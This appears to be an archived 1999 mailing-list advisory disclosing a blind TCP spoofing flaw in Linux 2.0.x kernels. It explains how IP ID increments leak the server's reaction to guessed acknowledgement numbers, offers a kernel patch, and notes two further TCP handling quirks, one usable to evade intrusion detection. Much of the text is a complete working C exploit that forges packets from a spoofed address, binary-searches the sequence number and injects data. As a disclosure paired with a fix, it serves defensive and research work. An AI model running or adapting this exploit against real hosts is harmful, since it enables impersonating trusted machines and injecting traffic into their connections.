`Subject: Linux blind TCP spoofing, act II + others
To: [email protected]
Hello,
Thanks to libnids development, some features/bugs in Linux kernel were found.
I notified kernel mantainers in May, but they didn't seem interested.
1. Blind TCP spoofing against 2.0.36/37
Let's label a Linux server as A, an attacker's host as B, the spoofed
host as C. If the following conditions hold:
a) C is down (disabled)
b) A is idle; more precisely, during the attack A should not send any
packets beside ones generated in response to the packets sent by B
c) during the attack, no packet sent from B to A can be dropped by a router
then an attacker can spoof a TCP stream connecting A and C.
As we see, these conditions are not trivial. However, b) and c) can
hold if an attack is conducted during low network traffic period; and there
are ways to fulfill a) :)
Firstly, let's have a look how Linux 2.0.x reacts to a non-typical
TCP segment sent as a third packet of a three way handshake. In the example
below we send to a Linux server (A) packets from B with source address set to
C.
Time packets with forged source address packets sent by the server
0 flags=S,seq=X
1 flags=SA,seq=Y,ack_seq=X+1
2 flags=A,seq=X+1, ack_seq=Y-1000
3 no packet generated !
4 flags=A,seq=X+1,ack_seq=Y+1000
5 flags=R,seq=Y+1000
a packet IS generated !
6 flags=A,seq=X+1,ack_seq=Y+1
7 flags=A,seq=Y+1,ack_seq=X+1
socket enters "established" state
8 flags=A,seq=X+1,ack_seq=Y+1000
9 no packet sent !
So, when an attacker sends (as a third packet of tcp handshake) a
packet with too small ack_seq, the server sends no packets (doesn't it
violate RFC793 ?). When a packet with too big ack_seq is sent, the server
sends a packet (with a reset flag).
Now let's recall another Linux feature. Many OSes (including Linux)
assign to ID field of an outgoing IP datagram consecutive, increasing
numbers (we forget about fragmentation here; irrelevant in this case). That
enables anyone to determine the number of packets sent by host A: it's enough
to ping it, note the value of ID field of received ICMP_REPLY packet, wait x
seconds (or perform some other actions), then again ping host A. The
difference between ID fields of received ICMP_REPLY packets is equal to (the
number of packets sent by A in x second) +1. "Idle portscan" by antirez uses
this technique.
Having sent an initial TCP segment with SYN flag, our attack will
consist of a set of "probes". In each probe, we send a (forged) TCP packet
with flags=A and (arbitrary) ack_seq=X, then we send an ICMP_ECHO request, and
finally note the ID field of received ICMP_REPLY packet. If this ID field has
incremented by 1 since the last time, only one packet were sent by server
(ICMP_REPLY), so we must have chosen too small X (that is, ack_seq). If ID
field has incremented by 2, two packes were sent (TCP with reset flag and
ICMP_REPLY), so we must have chosen too big ack_seq. This way we can perform
a binary search in space of ack_seq's, determining exact ack_seq after at most
32 probes. Note that finding correct ack_seq can be verified by sending a
probe with previously found too big ack_seq; if connection is in "established"
state, no packet will be generated by server.
After we have found the Holy Graal of blind spoofers, the correct
value of ack_seq, nothing will prevent us from completing 3whs and sending
arbitrary data.
At the end of this post I enclosed an exploit; don't use it without
the permission of the target host's admin. I tested it on 2.0.37, 36 and 30;
probably all 2.0.x are affected. It requires libnet (which can be downloaded
from www.packetfactory.net). I compiled it on Linux glibc system. The
following simple patch (against 2.0.37) enforces sending a reset in response
to a packet with too small ack_seq (of course, only when we are in SYN_RECV
state). This patch also cures the bug described in point 3.
-------------------------CUT HERE--------------------------------------
--- linux-2.0.37/net/ipv4/tcp_input.c.orig Fri Jul 23 17:25:14 1999
+++ linux/net/ipv4/tcp_input.c Fri Jul 23 17:29:43 1999
@@ -2764,7 +2764,18 @@
kfree_skb(skb, FREE_READ);
return 0;
}
-
+
+ if (sk->state==TCP_SYN_RECV && th->ack && skb->ack_seq!=sk->sent_seq)
+ {
+ /*
+ * Quick fix to detect too small ack_seq
+ * in 3rd packet of 3ws and force a RST segment.
+ */
+ tcp_send_reset(daddr, saddr, th,sk->prot, opt, dev,0,255);
+ kfree_skb(skb, FREE_READ);
+ return 0;
+ }
+
rfc_step6:
/*
* If the accepted buffer put us over our queue size we
-------------------------CUT HERE--------------------------------------
2. A byte of urgent data can be received in normal data stream. Let's
consider the following scenario:
Time Client app Server app
0 bind(...), listen(...), accept(...)
1 connect(...)
2 accept(...) returns newsock
3 send(sockfd,"AB",2,MSG_OOB)
4 send(sockfd,"XY",2,MSG_OOB)
5 n=read(newsock,buffer,1024)
function read returns 3, buffer contains "ABX", though byte 'B' was marked
as urgent. Verified with 2.0.37 and 2.2.9-ac1, probably all versions are
vulnerable. Note that this behaviour can be exploited to bypass NIDS.
3. Weird handling of 3rd stage of TCP handshake.
Time packets sent by a client packets sent by a server
0 flags=S,seq=X
1 flags=SA,seq=Y,ack_seq=X+1
2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz"
3 flags=A,seq=Y+1,ack_seq=X+4
no data is returned to app
4 flags=SA,seq=Y+1,ack_seq=X+4
5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567"
6 flags=A,seq=Y+1,ack_seq=X+8
app receives "4567"
which is inconsitent. Either the packet sent in time 2 should be discarded and
app should receive "1234567", or app should receive "xyz4567" .
Verified on 2.0.36, 2.2.x behaves correctly (sends reset in time 3).
Usually it is not a problem, but IDS developers can be worried.
Save yourself,
Nergal
/* by Nergal */
#include "libnet.h"
#include <netinet/ip.h>
#include <netdb.h>
int sock, icmp_sock;
int packid;
unsigned int target, target_port, spoofed, spoofed_port;
unsigned long myaddr;
int
get_id ()
{
char buf[200];
char buf2[200];
int n;
unsigned long addr;
build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H);
build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H);
write_ip (sock, buf, IP_H + ICMP_ECHO_H);
do
{
n = read (icmp_sock, buf2, 200);
addr = ((struct iphdr *) buf2)->saddr;
}
while (addr != target);
return ntohs (((struct iphdr *) buf2)->id);
}
static int first_try;
int
is_bigger ()
{
static unsigned short id = 0, tmp;
usleep (10000);
tmp = get_id ();
if (tmp == id + 1)
{
id = tmp;
return 0;
}
else if (tmp == id + 2)
{
id = tmp;
return 1;
}
else
{
if (first_try)
{
id = tmp;
first_try = 0;
return 0;
}
fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id);
exit (1);
}
}
void
probe (unsigned int ack)
{
char buf[200];
usleep (10000);
build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
void
send_data (unsigned int ack, char *rant)
{
char * buf=alloca(200+strlen(rant));
build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen (rant), buf + IP_H);
build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant));
write_ip (sock, buf, IP_H + TCP_H + strlen (rant));
}
void
send_syn ()
{
char buf[200];
build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
#define MESSAGE "Check out netstat on this host :)\n"
void
send_reset ()
{
char buf[200];
build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0, 0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
#define LOTS ((unsigned int)(1<<30))
main (int argc, char **argv)
{
unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr;
int i;
char myhost[100];
struct hostent *ht;
if (argc != 5)
{
printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n", argv[0]);
exit (1);
}
gethostname (myhost, 100);
ht = gethostbyname (myhost);
if (!ht)
{
printf ("Your system is screwed.\n");
exit (1);
}
myaddr = *(unsigned long *) (ht->h_addr);
target = inet_addr (argv[1]);
target_port = atoi (argv[2]);
spoofed = inet_addr (argv[3]);
spoofed_port = atoi (argv[4]);
sock = open_raw_sock (IPPROTO_RAW);
icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sock <= 0 || icmp_sock <= 0)
{
perror ("raw sockets");
exit (1);
}
packid = getpid () * 256;
fprintf(stderr,"Checking for IP id increments\n");
first_try=1;
for (i = 0; i < 5; i++)
{
is_bigger ();
sleep(1);
fprintf(stderr,"#");
}
send_syn ();
fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent SYN+ACK...");
for (i = 0; i < 33; i++)
{
fprintf (stderr, "#");
sleep (1);
}
fprintf (stderr, "\nack_seq accuracy:");
first_try=1;
is_bigger();
probe (LOTS);
if (is_bigger ())
seq_high = LOTS;
else
seq_low = LOTS;
probe (2 * LOTS);
if (is_bigger ())
seq_high = 2 * LOTS;
else
seq_low = 2 * LOTS;
probe (3 * LOTS);
if (is_bigger ())
seq_high = 3 * LOTS;
else
seq_low = 3 * LOTS;
seq_toohigh = seq_high;
if (seq_high == 0 || seq_low == 0)
{
fprintf (stderr, "Non-listening port or not 2.0.x machine\n");
send_reset ();
exit (0);
}
do
{
fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low));
if (seq_high > seq_low)
seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2;
else
seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2;
probe (seq_curr);
if (is_bigger ())
seq_high = seq_curr;
else
seq_low = seq_curr;
probe (seq_toohigh);
if (!is_bigger ())
break;
// getchar();
}
while ((unsigned int) (seq_high - seq_low) > 1);
fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr);
send_data (seq_curr, MESSAGE);
fprintf (stderr, "Press any key to send reset.\n");
getchar ();
send_reset ();
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation